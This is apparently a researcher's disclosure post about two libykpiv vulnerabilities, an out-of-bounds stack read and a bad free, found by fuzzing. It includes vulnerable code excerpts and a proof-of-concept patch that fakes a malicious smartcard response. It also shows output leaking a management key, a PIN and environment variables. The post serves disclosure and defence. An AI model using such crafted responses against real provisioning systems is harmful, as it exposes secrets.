Yubico libykpiv Vulnerabilities

Jul 8, 2020 • Christian Reitter
ID: CVE-2020-13131, CVE-2020-13132

Related articles: Yubico libykpiv Vulnerabilities II • Yubico yubihsm-shell Vulnerability (CVE-2021-43399) • Yubico libyubihsm Vulnerabilities (CVE-2021-27217, CVE-2021-32489)

In April, I analyzed two Yubico C smartcard libraries using libFuzzer.
During this process, I found two vulnerabilities in libykpiv plus a few minor other security problems and a number of generic bugs. Essentially, a malicious PIV (FIPS 201) smartcard can cause two sorts of issues during the host-initiated private RSA key generation, namely an **out of bounds read** on the host library stack (CVE-2020-13131) and a **denial of service** (CVE-2020-13132). Under some conditions, host process memory is copied into a corrupted RSA public key and returned by the library to the caller. The potential to obtain stack memory of the host via public keys is an unusual information leak.

The following article will describe the issues and how they were found.

Contents

Consulting

I'm a freelance Security Consultant and currently available for new projects. If you are looking for assistance to secure your projects or organization, contact me.

Fuzzing Methodology

First, some background information on the automated error-finding approach and related challenges.

The libykpiv library source repository also contains the yubico-piv-tool CLI, which uses the library to provide a number of management functions of PIV smartcards and is the official tool to manage some PIV aspects of YubiKey devices. I decided to fuzz the library through this tool. Broadly speaking, I replaced parts of the yubico-piv-tool programming so that libFuzzer is in control over all relevant data inputs. To achieve this, the command line parameters (*argv*), the smartcard responses (*pcsc-lite backend*) and the `stdin`-based interactive user inputs are (mostly) fed with fuzzer-controlled data. To explain this on a higher level: libFuzzer "decides" which PIV management operations are called, which data the user feeds in and how the virtual smartcard reacts to them. As a result, the fuzzer can test a broad range of states within the program for crashes and runtime errors without requiring purposefully written code for each management operation. As it is common during fuzzing, the AddressSanitizer, UndefinedBehaviorSanitizer and MemorySanitizer modules are used in varying configurations to provide enhanced error detection.

This fuzzing setup required several code iterations to work well and still progresses a lot slower when compared to targeted function-level fuzzing. However, it has the major advantage of staying close to the real-world code behavior (-> *tests everything that is reachable through* `main()` *of the CLI tool*) while automatically looking for problematic edge cases without extensive manual intervention. For example, the fuzzer will try to find and use undocumented command line flags and flag combinations, but will not call library functions in ways that are unreachable in the normal program. In general, this approach is complex and not suited for every target, but it can save a lot of work when compared to building and managing a dozen narrow, specialized fuzzer harnesses for individual functions. This is particularly useful during explorative work on a foreign codebase, as it was the case here. It might not be suited very well if you're going for unit-test like coverage of each function.

To help the fuzzer exploration, I manually collected some interesting command line flag snippets in a dictionary file.

As usual, there are a number of general code changes that one has to perform on a program before it is usable with libFuzzer. In particular, the resulting binary

- should not have side effects between individual runs (*this involves resetting certain variables*)
- should not exhibit general stability issues during runtime (*file writes, resource leaks, ...*)
- each individual program run should be fast (*no blocking input or sleep operations*)

For yubico-piv-tool, this meant finding and fixing a number of bugs so that stable fuzzing operations ran longer than a few minutes. There are still some remaining memory leaks in the codebase, particularly in the OpenSSL handling, but I'm optimistic that Yubico developers will fix those in the next 1-2 releases.

The Vulnerabilities

Out of Bounds Read - CVE-2020-13131

The `ykpiv_util_generate_key()` function in the libykpiv host-side library is designed to trigger a private key generation within the PIV smartcard and return the corresponding public key that is parsed from the smartcard response.

Note: a number of USB hardware tokens such as the YubiKey 5 series also act as the PIV smartcard & reader, so this applies to them as well if the affected functionality is used.

Relevant code paths:

- RSA1024 / RSA2048: **affected**
- ECC P256 / ECC P384: not affected

Interestingly, the RSA path of the key generation function has some extra handling logic due to the infamous Return of Coppersmith's attack on RSA keys that was present in the firmware of older YubiKey 4 devices through a flaw in an Infineon cryptography library. This is not relevant for the attack that is discussed here, though.

After checking the validity of some function parameters, `_ykpiv_transfer_data()` is called. This prompts the smartcard to actually **generate** the requested **private key** and store it internally in a specific key slot. If the operation is successful, the smartcard will return several data fields in its response that contain the corresponding **public key** in the form of the cryptographic key components. The smartcard response is temporarily stored in an `unsigned char data[1024]` message buffer on the host, which will become relevant later.

Consider the following code section that parses the response for the RSA case:

```
if ((YKPIV_ALGO_RSA1024 == algorithm) || (YKPIV_ALGO_RSA2048 == algorithm)) {
  unsigned char *data_ptr = data + 5;
  size_t len = 0;

  if (*data_ptr != TAG_RSA_MODULUS) {
    if (state->verbose) { fprintf(stderr, "Failed to parse public key structure (modulus).\n"); }
    res = YKPIV_PARSE_ERROR;
    goto Cleanup;
  }

  data_ptr++;
  data_ptr += _ykpiv_get_length(data_ptr, &len);

  cb_modulus = len;
  if (NULL == (ptr_modulus = _ykpiv_alloc(state, cb_modulus))) {
    if (state->verbose) { fprintf(stderr, "Failed to allocate memory for modulus.\n"); }
    res = YKPIV_MEMORY_ERROR;
    goto Cleanup;
  }

  memcpy(ptr_modulus, data_ptr, cb_modulus);
```

util.c

The modulus field in the response has a variable length, therefore the `_ykpiv_get_length(data_ptr, &len)` function is used to parse the relevant length field for a matching memory allocation. Unfortunately, the resulting length of `0 to 65535` in the variable `len` is then **used without any bounds checks** in the following memory operations, which represents the essential memory handling flaw of this vulnerability. The unchecked length field allows an attacker to significantly over-report the actual length of the provided data fields in the smartcard response and cause an **out of bounds read** on the host through the `memcpy()` operation that reads from the `data[1024]` buffer.

As a consequence, uninitialized memory in `data` and up to ~64.5k bytes of stack memory behind `data` will be copied into the freshly allocated `ptr_modulus` buffer on the heap. This memory will only be returned to the caller if the key generation function completes **without errors**, so it is in the interest of the attacker to make that happen.

The RSA handling of `ykpiv_util_generate_key()` contains two variable length fields: first the **modulus** (code shown above) and then the **exponent**. Due to the way that `data_ptr` is incremented, attacking the modulus field is problematic and fails with a high probability since a specific followup check against `*data_ptr` contents has to succeed despite pointing to stack memory that is not controlled by the attacker.

The better approach for an attacker is to report a small length value on the **modulus field** and then over-report the length for the **exponent field** (`cb_exp`). The code for this second read operation is shown here:

```
  data_ptr += _ykpiv_get_length(data_ptr, &len);

  cb_exp = len;
  if (NULL == (ptr_exp = _ykpiv_alloc(state, cb_exp))) {
    if (state->verbose) { fprintf(stderr, "Failed to allocate memory for public exponent.\n"); }
    res = YKPIV_MEMORY_ERROR;
    goto Cleanup;
  }

  memcpy(ptr_exp, data_ptr, cb_exp);
```

util.c

This attack vector is much more reliable since there is no following check on `*data_ptr` values after this copy operation. Once the function returns with the return code `YKPIV_OK`, it depends **on the caller of the libykpiv library function** how the large information leak in `*exp` and the large `*exp_len` length is handled.

For the yubico-piv-tool CLI tool, the leaked data will be **processed via OpenSSL** bignum functions and copied as encoded ASN.1 binary data into the **public key** that is returned to the user (*via stdout or file write*). It is plausible that this local information leak can lead to further exposure of the relevant data since public keys are designed to be copied across trust boundaries.

Other callers of libykpiv might reject the returned data due to the abnormal exponent length or unintentionally crash due to other memory issues. Note that depending on the size specified by the attacker via the over-reported length field, it is possible that libykpiv will crash with a segfault if the read operation goes beyond the available stack space.

See the sections below for more thoughts on the practical impact.

Denial of Service - CVE-2020-13132

The `ykpiv_util_generate_key()` function has a second problematic code path in the RSA1024 / RSA2048 key generation.

In the cleanup section, `free()` is called on the wrong pointer if `ptr_modulus` is set:

```
Cleanup:

  if (ptr_modulus) { _ykpiv_free(state, modulus); }
```

util.c

The program will crash with a deadly signal if this code is reached.

Here is the verbose warning if the program is explicitly instrumented with the AddressSanitizer:

> *==20689==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7ffc74123880 in thread T0*

`ptr_modulus` is usually `NULL` if there are obvious problems, and it is set back to `NULL` if the data parsing for the RSA case was successful. This explains why the problem was not detected during regular testing: the edge case is only reached if a (simulated) smartcard responds with *mostly* good data to pass some of the function checks.

A malicious smartcard could do the following to trigger the issue during a key generation request:

1. report `SW_SUCCESS` on the data transfer and provide some response bytes
2. set `TAG_RSA_MODULUS` correctly
3. set a reasonable, small `cb_modulus` length (-> for `ptr_modulus` allocation) and some dummy data for the modulus
4. set `TAG_RSA_EXP` **incorrectly** to trigger `goto Cleanup`
5. -> program crash

Although it is present in the same code section, the crash is not directly an "insufficient length field validation" problem and distinct enough from the first issue to be treated separately.

Attack Scenario and Security Implications

As described in the previous sections, CVE-2020-13131 and CVE-2020-13132 are located in the `ykpiv_util_generate_key()` function of the host library. They are exposed when libykpiv is used to request a new RSA private key generation from the smartcard. During this particular operation, a malicious device that is recognized as the target smartcard can trigger the out of bounds read on the stack or crash the process.

Note that the vulnerabilities

- are **not reachable** during regular PIV verification usage or other daily workflows that do not include key generation
- will **not be triggered** by genuine smartcards (*unless there is some transmission error*)
- are **on the host side** and **do not affect** the YubiKey device firmware code

For the typical Linux user with a YubiKey on their keychain and the occasional use of `yubico-piv-tool` for device configuration, the practical security impact of these issues is fairly small. The same is true for users on Windows and other operating systems, from what I can tell.

If a particular public key generated via `yubico-piv-tool` is fully functional (*for example, successful login with your smartcard*) then it is unlikely to contain any leaked stack memory.

The CVE issues are of concern to automated systems that use libykpiv to provision externally provided smartcards (*where a fake smartcard could be part of a batch of devices or physically plugged into the target machine*), particularly if those systems call the configuration tools with secret values (*management key, PIN, bash environment variables, other secret internal state*) and rely on uninterrupted operation or expose the resulting public key to some third party. I **am not aware** of any public product that does this. However, I would not be surprised if automated systems of this sort exist somewhere, perhaps in proprietary form, in order to provision or manage a collection of physical keys at some enterprise or institution that relies on PIV authentication.

CVSS Score

Yubico has evaluated both the first and second issue with a CVSSv3.1 score of 4.3.

Proof Of Concept

The following patch for libykpiv simulates a malicious smartcard response to trigger CVE-2020-13131. Use it together with your target program and a physical PIV token to test the practical impact.

WARNING: use the following code at your own risk. Assume that this will PERMANENTLY overwrite data on the dummy smartcard device that you use.

```
-  if (YKPIV_OK != (res = _ykpiv_transfer_data(state, templ, in_data, (long)(in_ptr - in_data), data, &recv_len, &sw))) {
+  // simulate malicious smartcard answer
+  // [0-4] dummy bytes
+  // [5] TAG_RSA_MODULUS
+  // [6] short length field
+  // [7] modulus data
+  // [8] TAG_RSA_EXP
+  // [9-12] length field - long form
+  // the length is given as \x20\x00 = 8192 bytes in this example
+  unsigned char response[] = "\x00\x00\x00\x00\x00\x81\x01\x00\x82\x82\x20\x00";
+  recv_len = sizeof(response);
+  memcpy(data, response, recv_len);
+  sw = SW_SUCCESS;
+
+  if (0 && YKPIV_OK != (res = _ykpiv_transfer_data(state, templ, in_data, (long)(in_ptr - in_data), data, &recv_len, &sw))) {
```

util.c

Note that all other values for `response[8]` will trigger CVE-2020-13132 instead.

yubico-piv-tool POC Behavior

```
./yubico-piv-tool -s9a -ARSA1024 -agenerate > public_key_output

cat public_key_output
-----BEGIN PUBLIC KEY-----
[ ... encoded memory data information leak ... ]
-----END PUBLIC KEY---
```

The OpenSSL CLI tool can be used to decode the public key data and present it in a hexdump format:

```
openssl asn1parse -in public_key_output -dump

    0:d=0  hl=4 l=14611 cons: SEQUENCE
```

```
 4:d=1  hl=2 l=  13 cons: SEQUENCE
 6:d=2  hl=2 l=   9 prim: OBJECT            :rsaEncryption
17:d=2  hl=2 l=   0 prim: NULL
19:d=1  hl=4 l=14592 prim: BIT STRING
   0000 - 00 30 82 38 fb 02 01 00-02 82 38 f4 00 f8 53 41   .0.8......8...SA
   [ ... binary memory data information leak ... ]
```

During testing, it was possible to leak the exact command line parameter strings that the tool is called with, including the management key (`-k` parameter) and the PIN code (`-p` parameter):

```
2da0 - 69 63 6f 2d 70 69 76 2d-74 6f 6f 6c 2f 74 6f 6f   ico-piv-tool/too
2db0 - 6c 2f 2e 6c 69 62 73 2f-79 75 62 69 63 6f 2d 70   l/.libs/yubico-p
2dc0 - 69 76 2d 74 6f 6f 6c 00-2d 73 39 61 00 2d 41 52   iv-tool.-s9a.-AR
2dd0 - 53 41 31 30 32 34 00 2d-61 67 65 6e 65 72 61 74   SA1024.-agenerat
2de0 - 65 00 2d 6b 34 32 34 32-34 32 34 32 34 32 34 32   e.-k424242424242
2df0 - 34 32 34 32 34 32 34 32-34 32 34 32 34 32 34 32   4242424242424242
2e00 - 34 32 34 32 34 32 34 32-34 32 34 32 34 32 34 32   4242424242424242
2e10 - 34 32 34 32 00 2d 70 31-32 33 34 00 53 48 45 4c   4242.-p1234.SHE
```

As you can see, the management key was chosen as a sequence of `0x42` in hexadecimal and the PIN as `1234`.

Management keys entered interactively via `stdin` are also contained in the information leak:

```
08d0 - 00 00 00 00 00 00 00 00-00 00 00 00 00 42 42 42   .............BBB
08e0 - 42 42 42 42 42 42 42 42-42 42 42 42 42 00 00 00   BBBBBBBBBBBBB...
```

Depending on the segmentation fault risks that an attacker is willing to take, most bash environment variables that are present during the program execution can be dumped as well, although with a considerable risk of crashing if the out of bounds read exceeds process boundaries.

Consider the following shell environment variable created with `export SECRET_ENV_VARIABLE=SECRET_VALUE` before running the vulnerable program. This is copied into the public key as well:

```
38a0 - 48 3d 3a 00 53 45 43 52-45 54 5f 45 4e 56 5f 56   H=:.SECRET_ENV_V
38b0 - 41 52 49 41 42 4c 45 3d-53 45 43 52 45 54 5f 56   ARIABLE=SECRET_V
38c0 - 41 4c 55 45 00 58 44 47-5f 53 45 53 53 49 4f 4e   ALUE.XDG_SESSION
```

This sort of information disclosure is particularly concerning for automated systems, which are often configured to hold secrets in environment variables.

Note on Older Cryptography Standards

Some readers might have noticed that RSA1024 and RSA2048 key generations are possible in the code, but RSA4096 generation is not. In fact, the stronger RSA with 4096bit length is missing simply because the PIV standard defined by NIST does not include it. Therefore it is not Yubico's fault that libykpiv cannot offer this variant, and it would require an update to the PIV standard to allow this.

However, it might be time to implement the recommendations by NIST (as outlined here by Yubico, current NIST document p.59) to disallow new generation of relatively weak cryptographic keys such as RSA1024 by default to discourage their usage. For example, `yubico-piv-tool` could implement an additional flag to allow the creation of RSA1024 if explicitly requested and error out otherwise. I recommend implementing this in a future release of the code.

Thoughts on This Attack Class

It is not the first time that memory safety issues based on unchecked length fields are found in libykpiv, as documented in Eric Sesterhenn's great talk "In Soviet Russia Smart Card Hacks You" and the related YSA-2018-03 advisory. I discovered a conceptually similar length check issue in another Yubico library over a year ago, see the libu2f-host vulnerabilities article and the YSA-2019-01 advisory.

In my opinion, it is somewhat concerning that this general vulnerability pattern can still be found in cryptography-related Yubico software in 2020.

I consider it very positive that Yubico's host-side code is available as open-source. Among many other benefits for Yubico and the community, it allows easier code analysis by security researchers, which I consider very important for trustworthy cryptography. For example, the research presented here would not have happened without access to the source code. However, the previous history shows that code **is not** automatically audited "for free" in the necessary depth just because it is available in an open-source format, permissively licensed or used in a number of Unix and Windows driver contexts.

The Yubico engineers and developers that I've been in contact with are competent and very dedicated. They are bringing a lot of fixes and improvements to the code as part of the constant maintenance efforts. However, I think Yubico should really consider investing more resources into this topic and systematically weed out these types of issues, particularly memory safety issues in the C code. The behavior of their drivers and libraries should be trustworthy and sane **regardless** of whether the input is coming from a malicious device or not. Cryptography-related code requires a high level of robustness.

Improving this situation will require more eyes on the problem (= *additional resources and developer time*). An open bug bounty program with reasonably competitive rewards might help with this situation in the long run and bring in some creative approaches, but it obviously requires some engineering resources on its own for triage and resolution. At times, it may require spending extra developer time on low-quality reports. But while it is not a magic fix, I would personally welcome it as a reason to do more research on their code from time to time *;)*

In parallel, it might make sense to speed up the efforts to move to memory-safe languages where the environment permits this (CLI vs. drivers), as it is already done with tools such as `YubiKey Manager` which is written in Python. However, this is a complex topic on its own and largely out of scope here.

Coordinated Disclosure

I first contacted Yubico in April and reported a number of code issues, both via confidential disclosure emails to `security@` as well as via the public GitHub issue tracker (*after clearing them with the security contact*).

During the disclosure process, I had the opportunity to coordinate closely on the subject of security assessments, evaluate the proposed security patches and give inputs for parts of the wording. This process was very positive - I value the trust and openness shown by the vendor by including me in their issue resolution. Although it is arguably also more unpaid work on the researcher side, it can be satisfying to participate in the low-level resolution efforts if the communication is very productive, which it was.

Notably, the originally planned disclosure date was postponed on short notice. Since the disclosure was still well within the usual 90-day time frame and there were no signs that the issues are extremely dangerous or actively misused, I had no objections. From a researcher perspective, shorter disclosure time frames are obviously preferable, but I understand the necessity to balance this with other software development concerns.

Overall, I am satisfied with the disclosure process.

Relevant yubico-piv-tool / libykpiv Sources

variant	source	fix	references
Yubico upstream	GitHub	2.1.0	YSA-2020-02 / YSA-2020-03, changelog
Debian package	Debian	see references	#1, #2
Ubuntu package	Ubuntu	see references	#1, #2
Arch package	Arch	2.1.0-2	
Gentoo	Gentoo	2.1.1	#732000
Fedora	Fedora	2.1.0-1.* , commit	Bug 1855024
Mac homebrew	Homebrew	2.1.0	

Other Relevant Software

Very late in the disclosure process (early July), I noticed the experimental yubikey-piv.rs project which had ported the affected Yubico C code to Rust.

As far as I'm aware, they are not affected by the information leak aspects of CVE-2020-13131 since the out of bounds read will be mitigated in Rust by halting the program. Due to timing and other considerations, they were not included in the coordinated disclosure process.

variant	source	fix	references
yubikey-piv.rs	GitHub	PR	GH152

Detailed Timeline

Date	info
2020-04-29	Disclosure of the out of bounds read issue to Yubico
2020-04-30	Disclosure of the crash issue to Yubico
2020-04-30	Yubico confirms the issues
2020-05-07	Yubico communicates planned public disclosure date: 2020-06-08
2020-05-18	Yubico requests CVEs from MITRE
2020-06-08	Yubico postpones the public disclosure date
2020-06-18	Yubico communicates planned public disclosure date: 2020-07-01
2020-06-24	Yubico communicates planned public disclosure date: 2020-07-08
2020-07-08	Private heads-up to yubikey-piv.rs maintainer (*only high-level information*)
2020-07-08	Public disclosure of YSA-2020-02
2020-07-08	Publication of this blog post
2020-09-17	Updated blog post, including issue references and bugfix status

Bug Bounty

Yubico provided a number of their hardware products as a bug bounty for this issue.

Christian Reitter

Information security and other interests.